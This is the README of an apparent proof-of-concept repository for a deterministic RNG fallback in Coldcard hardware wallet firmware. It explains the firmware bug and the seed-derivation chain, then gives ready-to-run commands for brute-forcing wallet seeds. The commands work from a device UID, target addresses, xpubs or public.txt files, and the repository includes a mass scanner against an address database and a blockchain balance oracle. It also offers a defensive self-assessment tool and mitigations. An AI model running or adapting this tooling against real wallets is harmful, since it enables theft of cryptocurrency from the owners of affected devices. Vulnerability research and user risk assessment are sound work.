Security research tool demonstrating the deterministic RNG fallback in Coldcard Mk2/Mk3 firmware v4.0.0–v4.1.9.
On July 30, 2026, Block Engineering disclosed a critical vulnerability in Coldcard hardware wallets: the firmware's random number generator (RNG) fell back to a deterministic software PRNG (Yasmarang) seeded from predictable hardware state, reducing effective entropy from 256 bits to approximately 16 bits on cold boot.
This repository contains a bit-exact Python reproduction of the vulnerable RNG chain, allowing researchers to:
- Reproduce the exact seed generation process of affected devices
- Demonstrate seed recovery from known device state (UID + SysTick)
- Understand the attack surface for hardware wallet RNG implementations
- Assess risk for Coldcard users via the defensive assessment tool
596.48 BTC (~$38.2M at the time) was stolen from 500+ wallets in under 41 minutes, confirming the vulnerability was actively exploited.
The firmware defines MICROPY_HW_ENABLE_RNG to 0 (disabled), but libngu checks with #ifndef instead of #if:
// stm32/COLDCARD/mpconfigboard.h:77
#define MICROPY_HW_ENABLE_RNG (0)
// libngu/random.c:28 — BUG: #ifndef instead of #if
#ifndef MICROPY_HW_ENABLE_RNG
# error "get a HW TRNG plz" // NEVER REACHED — macro IS defined
#endifThis causes rng_get() to call the deterministic Yasmarang PRNG instead of the hardware TRNG.
Two Yasmarang generators are XORed together:
| Generator | Seed | Source |
|---|---|---|
| A (MicroPython) | pad = UID_low32 ^ SysTick->VAL, n = RTC->TR, d = RTC->SSR |
ports/stm32/rng.c |
| B (libngu) | pad = 0x0a8ce26f, n = 69, d = 233 |
ngu/random.c (public constants) |
On cold boot (RTC=0), the entire seed is determined by:
- UID_low32 (32 bits, extractable via USB serial number or
public.txt) - SysTick->VAL (~80,000 possible values for Mk2/Mk3)
UID_low32 ^ SysTick, RTC_TR, RTC_SSR
↓
Yasmarang A ⊕ Yasmarang B → 32 raw bytes
↓
SHA256 (single, not double) → 32 hashed bytes
↓
BIP39 mnemonic (24 words) → PBKDF2 2048 rounds → BIP39 seed
↓
BIP32 master key → m/84'/0'/0'/0/0 → bech32 address
| Scenario | Combinations | Recovery Time (single core) |
|---|---|---|
| Cold boot, RTC=0, UID known | 79,999 | ~2 minutes |
| Cold boot, RTC unknown | ~1.77 × 10¹² | ~159 hours |
| Cold boot, UID unknown, RTC=0 | 2³² (pad space) | ~107 days |
| Mk4 with 32-bit reseed | 2³² | ~25 days |
git clone (https://github.com/domaup/coldcard-poc.git)
cd coldcard-poc
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# Optional: build C reference for bit-exact validation
make ref- Python 3.10+
mnemonic— BIP39 mnemonic generationbip32utils— BIP32 key derivationecdsa— ECDSA (fallback)secp256k1— Fast secp256k1 operations (~4x speedup)requests— Blockchain API queries
# Verify the Yasmarang implementation against known test vectors
python yasmarang.py
# Full bit-exact validation against the C reference
python bounded_poc.py --self-testExpected output:
✓ Yasmarang vectors (default seed) identical
✓ Cross-check seed_chain == yasmarang.ColdcardRNG identical
✓ Bit-exact chain vs reference_impl.c identical
✓ SysTick recovered = 4242 in 5.0s
python main.py --simulate --uid 0xDEADBEEF --systick 12345# With target mnemonic
python main.py --uid 0xABCDEF00 --bruteforce \
--mnemonic "abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about"
# With target address
python main.py --uid 0xABCDEF00 --bruteforce \
--address bc1qz9kn2euv5kys270tkt3wlmmv0rl8u7qpaecw9c
# With target xpub
python main.py --uid 0xABCDEF00 --bruteforce \
--xpub "xpub6..."python main.py --public-txt /path/to/public.txt --bruteforce --address bc1q...python blockchain_oracle.py --seed "word1 word2 ... word24"
python blockchain_oracle.py bc1qz9kn2euv5kys270tkt3wlmmv0rl8u7qpaecw9cpython risk_self_assessment.py --model mk3 --firmware 4.1.9
python risk_self_assessment.py --model mk4 --firmware 5.2.1 --passphrase yes --dice 100coldcard-poc/
├── README.md # This file
├── Makefile # Build C reference, run tests
├── requirements.txt # Python dependencies
├── yasmarang.py # Core: Yasmarang PRNG implementation
├── bounded_poc.py # Self-contained PoC with auto-tests
├── seed_recovery.py # BIP39/BIP32 derivation + verification
├── main.py # CLI: simulation, brute-force, checkpointing
├── blockchain_oracle.py # Address verification via Blockstream/Mempool APIs
├── risk_self_assessment.py # Defensive tool for Coldcard owners
├── build_targets.py # Build hash160 target database from TSV dumps
├── fast_scan.py # Multi-target pad scanner with mmap O(log n) lookup
└── reference_impl.c # C reference (verbatim firmware code) for validation
The file reference_impl.c contains code copied verbatim from the actual firmware sources:
micropython/ports/stm32/rng.c(Yasmarang fallback)libngu/ngu/random.c(combined RNG stream)
Compiled with -funsigned-char (ARM EABI semantics), its output matches the Python implementation byte-for-byte:
$ ./reference_impl 0xABCDEF00 4242 0 0
raw_entropy: 8abd69aa4447f0b0394949b4e9fc79adf4f127f31cbad5f42a6bba8678013515
sha256s: ce13362f230633985b37e6ed291af594e7804e36d853721ffad6e8d2fb132706
$ python main.py --simulate --uid 0xABCDEF00 --systick 4242
[1] Raw entropy (32 bytes): 8abd69aa4447f0b0394949b4e9fc79adf4f127f31cbad5f42a6bba8678013515
[2] After SHA256: ce13362f230633985b37e6ed291af594e7804e36d853721ffad6e8d2fb132706
$ python main.py --simulate --uid 0xDEADBEEF --systick 12345
Mnemonic: mimic vote essence fluid easily special power talk road sword tourist ...
$ python main.py --uid 0xDEADBEEF --bruteforce \
--mnemonic "mimic vote essence fluid easily special power talk road sword tourist ..."
✓ FOUND after 12,345 attempts (37.8s)
✓ SysTick->VAL = 12345
| Element | Real Firmware | PoC | Status |
|---|---|---|---|
make_new_wallet() |
random.bytes(32) → sha256s |
Identical | ✓ |
| Word count | Always 24 (assert len(words) == 24) |
24 | ✓ |
| Yasmarang init MP | pad=UID_low32^SysTick, n=RTC_TR, d=RTC_SSR |
Identical | ✓ |
| Yasmarang init libngu | pad=0x0a8ce26f, n=69, d=233 |
Identical | ✓ |
| Combination | chip = rng_get() ^ my_yasmarang() |
Identical | ✓ |
| Standard boot RNG calls | 0 calls before make_new_wallet |
prior_calls=0 default |
✓ |
| Operation | Speed (single core) | Speed (6 workers) |
|---|---|---|
| Raw derivation (Yasmarang + SHA256 + BIP39) | ~10,500/s | ~63,000/s |
| Full chain (PBKDF2 + BIP84 address) | ~550/s | ~3,300/s |
| 80k SysTick scan (oracle mode) | ~145s | ~24s |
| Pad scan vs 9M address DB | ~470/s | ~2,800/s |
| Model | Firmware | Impact |
|---|---|---|
| Mk1 | All | Not affected (hardware TRNG) |
| Mk2 | 4.0.0 – 4.1.9 | Full seed recovery (~80k combinations with UID) |
| Mk3 | 4.0.0 – 4.1.9 | Full seed recovery (~80k combinations with UID) |
| Mk4 | 5.0.0 – 5.5.9 | 32-bit reseed (2³² pad space) |
| Mk5 | 5.0.0 – 5.5.9 | 32-bit reseed (2³² pad space) |
| Q | 1.0.0 – 1.4.9 | 32-bit reseed (2³² pad space) |
- Create a new seed on fixed firmware (v4.2.0+ for Mk3, v5.6.0+ for Mk4)
- Transfer all funds immediately — updating firmware does NOT fix already-generated seeds
- Use a strong BIP39 passphrase — passphrases block this attack entirely (not derived from the RNG)
- Use dice-generated entropy (50+ rolls = 128+ bits of independent entropy)
- Never use
#ifndefto check boolean macro values — use#if !defined(MACRO) || !(MACRO) - Always incorporate a hardware entropy source — software PRNG fallbacks are unacceptable for key generation
- Add runtime entropy tests — the firmware's only check was
len(set(seed)) > 4, which catches only ~0.001% of weak seeds
- Block Engineering: Predictable RNG Fallback in COLDCARD Firmware (July 30, 2026)
- Coinkite: Mk3 Seed Generation Warning (July 30, 2026)
- Coldcard Firmware Repository — branch
pr-rng-fix - Yasmarang Algorithm — Ilya Levin, public domain
- BIP39 Mnemonic Code
- BIP32 Hierarchical Deterministic Wallets
- BIP84 Derivation for P2WPKH
THIS SOFTWARE IS PROVIDED FOR SECURITY RESEARCH AND EDUCATIONAL PURPOSES ONLY.
Do not use on wallets you do not own. Unauthorized access to others' funds
is illegal and constitutes theft.
The authors assume no liability for misuse of this code.
This project is released into the public domain for research and educational purposes. The Yasmarang implementation is based on Ilya Levin's original public domain code.